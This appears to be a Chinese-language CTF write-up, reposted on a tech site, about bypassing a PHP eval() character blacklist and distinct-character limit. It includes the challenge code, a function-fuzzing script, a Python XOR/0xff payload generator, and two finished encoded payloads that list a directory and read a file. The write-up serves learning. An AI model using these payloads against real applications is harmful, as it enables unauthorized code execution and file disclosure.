您好,登錄后才能下訂單哦!
如何看待php與bypass,針對這個問題,這篇文章詳細(xì)介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
代碼如下
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
前面的那個正則過濾大概就是過濾了下面的這些字符,借鑒師傅博客
\x00- 0-9 匹配\x00到空格(\x20),0-9的數(shù)字 '"`$&.,|[{_defgops 匹配這些字符 \x7F 匹配DEL(\x7F)字符
而下面的這個if語句實現(xiàn)的效果是,所傳入的變量里面的所有不同的字符的個數(shù)不能超過十六進制的0xd
也就是十進制的13
,就是payload里面所有字符的總數(shù)不能超過13個就可了。
然后就是如何bypass了,這里可以看到并沒有過濾到^
,~
這兩個字符,所以可以使用取反繞過試一試,
但是一般情況下可以先寫個腳本看看還有那些函數(shù)是可以用的。php可用方法fuzz腳本
<?php
$array=get_defined_functions();//返回所有內(nèi)置定義函數(shù)
foreach($array['internal'] as $arr){ //遍歷所有方法
if ( preg_match('/[\x00- 0-9\'"\`$&.,|[{_defgops\x7F]+/i', $arr) ) continue;
if ( strlen(count_chars(strtolower($arr), 0x3)) > 0xd ) continue;
print($arr.'<br/>');
}
所的結(jié)果如下
rtrim trim ltrim chr link unlink tan atan atanh tanh intval mail min max
雖然這里沒什么能用的,但是這個fuzz的腳本還是很有啟發(fā)性的,遇到bypass的時候可以先用這樣的腳本試一試是不是能夠直接用某些危險方法。
這里直接使用取反的那個操作,下面是代碼。
<?php
$a = urlencode(~'phpinfo');
echo($a);
雖然出來了,但是其實沒啥用,因為phpinfo();
本來的字符數(shù)就沒有超過13個,接下來就是縮短字符數(shù)與看未被禁用的函數(shù)了,下面是被disabled的方法
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,
我就認(rèn)識三個可以命令執(zhí)行的方法,但是沒過濾掃目錄的函數(shù)scandir()
,還有讀文件的函數(shù)readfile()
,還有打印變量信息的函數(shù)var_dump()
,我借鑒的那個wp里面用的是用多次使用^
和()
來異或的方式,這里我也這么做,但是條條大路通羅馬,肯定還有不少其他方法,這里就不復(fù)現(xiàn)了,遇到了再說吧。
這里我們想傳入的變量信息是這樣的
print_r(scandir('.'));
可以看看有多少個字符
<?php $s = "print_r(scandir('.'));"; $a = strlen(count_chars(strtolower($s), 0x3)); echo($a);
表面上是15個字符,但是其實還有^
也要用,就是16個了,參考腳本
result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c] # Original chars,11 total result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted temp = [] for d in result2: for a in result: for b in result: for c in result: if (a ^ b ^ c == d): if a == b == c == d: continue else: print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d)) if d not in temp: temp.append(d) print(len(temp), temp)
這個就是用幾個有的替代要刪掉的就行。然后還有個跟%ff
異或的問題,就是一個字符的十六進制形式與0xff
進行兩次異或之后還是原來的字符,而與0xff(int值為255)進行一次異或之后一般是ascii碼值大于128的不可見字符,然后^字符不會被過濾的話,就能實現(xiàn)bypass
,所以根據(jù)這個原理有下面的生成payload的腳本(借鑒了一些之后原創(chuàng)的嗷,就是沒實現(xiàn)自動化生成payload,要手動添加)
# -*- coding: utf-8 -*-# # ------------------------------------------------------------------------------- # Name: ctf # Description: 復(fù)現(xiàn)腳本 # Author: M4XLMUM # Date: 2021/4/12 # ------------------------------------------------------------------------------- import operator # s = ['print_r', 'scandir', '.'] # 更換成為想要的字符串 s = ['readfile', 'end', 'scandir', '.'] # 更換成為想要的字符串 ans = {} pattern = [] s2 = '' # 需要進行替換的字符, 假設(shè)只對出現(xiàn)一次的字符串進行替換。 # 統(tǒng)計s列表中的字符的出現(xiàn)次數(shù) for j in ''.join(s): ans[j] = ''.join(s).count(j) for i in ans.keys(): ans[i] = hex(int(hex(ord(i)), 16) ^ 0xff).replace('0x', '%') keys = ans.keys() for i in keys: for j in keys: for k in keys: for m in keys: if ord(j) ^ ord(k) ^ ord(m) == ord(i): if j == k or j == m or m == k: continue else: flag = 1 for temp in pattern: if i in temp and j in temp and k in temp and m in temp: flag = 0 if flag: pattern.append(i+j+k+m) '''經(jīng)測試,此塊無用geigeigei # 對幾對一組的字符串中字符出現(xiàn)次數(shù)進行排序,并找出需要進行替換的字符`s2` temp = {} for i in ''.join(pattern): npattern[i] = ''.join(pattern).count(i) # npattern = sorted(temp.items(), key=operator.itemgetter(1)) for i in npattern: if npattern[i] == 1: s2 += i # %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ''' print(pattern) # 打印出pattern之后自己識別需要替換哪一個字符。 ''' 懶得寫自動化腳本了,我的小腦子想不太出來 這里的四個字符組成一組的原理實際上就是采用了異或計算的性質(zhì),即四個字符中,如果任意三個字符的異或等于另一個,那么這四個字符中任意三個的異或等于另一個字符。 這里的結(jié)果是:['prca', 'ints', 'incd', 'tscd'] 那需要替換的可以是:p == r^c^a, i == n^c^d, t == s^c^d ''' # 替換字符為十六進制的形式 # temp = {'p': 'rca', 'i': 'ncd', 't': 'scd'} temp = {'r': 'eds', 'a': 'dfc', 'd': 'fln', 'i': 'flc'} rtable = {} # 需要進行替換的表(已轉(zhuǎn)為十六進制) for i in temp: tempkey = hex(int(hex(ord(i)), 16) ^ 0xff).replace('0x', '%') tempvalue = '' for k in temp[i]: tempvalue += hex(int(hex(ord(k)), 16) ^ 0xff).replace('0x', '%') rtable[tempkey] = tempvalue for i in s: temp1 = '' temp2 = '' temp3 = '' temp4 = '' for j in i: temp0 = hex(int(hex(ord(j)), 16) ^ 0xff).replace('0x', '%') if temp0 in rtable: temp1 += rtable[temp0][:3] temp2 += rtable[temp0][3:6] temp3 += rtable[temp0][6:9] temp4 += '%ff' else: temp1 += temp0 temp2 += '%ff' temp3 += '%ff' temp4 += '%ff' payload = '(' + temp1 + ')^(' + temp2 + ')^(' + temp3 + ')^(' + temp4 + ')' print(payload) # payload1: print_r(scandir(.)); # payload1: (print_r)((scandir)(.)); # payload1: ((%8d%8d%91%91%8c%a0%8d)^(%9c%ff%9c%ff%9c%ff%ff)^(%9e%ff%9b%ff%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%91%8d)^(%ff%ff%ff%ff%ff%9c%ff)^(%ff%ff%ff%ff%ff%9b%ff)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))); # payload2: readfile(end(scandir(.))); # payload2: (readfile)((end)((scandir)(.))); # payload2: ((%9a%9a%9b%99%99%99%93%9a)^(%9b%ff%99%93%ff%93%ff%ff)^(%8c%ff%9c%91%ff%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%91%99)^(%ff%ff%93)^(%ff%ff%91)^(%ff%ff%ff))(((%8c%9c%9b%91%99%99%9a)^(%ff%ff%99%ff%93%93%9b)^(%ff%ff%9c%ff%91%9c%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff)))); ''' 上面的payload之所以多加了許多括號是因為要防止異或之后連在一起,反正加個括號也不多的樣子 '''
# payload1: print_r(scandir(.)); # payload1: (print_r)((scandir)(.)); # payload1: ((%8d%8d%91%91%8c%a0%8d)^(%9c%ff%9c%ff%9c%ff%ff)^(%9e%ff%9b%ff%9b%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%91%8d)^(%ff%ff%ff%ff%ff%9c%ff)^(%ff%ff%ff%ff%ff%9b%ff)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))); # payload2: readfile(end(scandir(.))); # payload2: (readfile)((end)((scandir)(.))); # payload2: ((%9a%9a%9b%99%99%99%93%9a)^(%9b%ff%99%93%ff%93%ff%ff)^(%8c%ff%9c%91%ff%9c%ff%ff)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%9a%91%99)^(%ff%ff%93)^(%ff%ff%91)^(%ff%ff%ff))(((%8c%9c%9b%91%99%99%9a)^(%ff%ff%99%ff%93%93%9b)^(%ff%ff%9c%ff%91%9c%8c)^(%ff%ff%ff%ff%ff%ff%ff))((%d1)^(%ff)^(%ff)^(%ff))));
第一個payload暴露出當(dāng)前路徑下的文件,第二個payload讀當(dāng)前路徑下的最后一個文件。
上面的腳本的bypass的原理可以分成兩個來說
這個很簡單,就是使用payload的十六進制與0xff
進行異或(并將結(jié)果的0x換為%)
,因為異或計算的性質(zhì),一個十六進制與0xff``(這里的0xff實際上可以是任何的其他值應(yīng)該)
進行兩次異或之后等于原來的值。
這個操作上是將payload的字符串里面的字符替換為本來字符串內(nèi)還有的其他的字符串的值的異或,例如payload為print_r(scandir(.));
時,有下面的等價關(guān)系p == r^c^a, i == n^c^d, t == s^c^d
,就這樣替換。
再從異或?qū)用娼忉屧砭褪?,一個字符的十六進制與0xff
進行四次異或之后還是它本身,總之就是偶數(shù)次異或之后一定等于原來的字符。
關(guān)于如何看待php與bypass問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。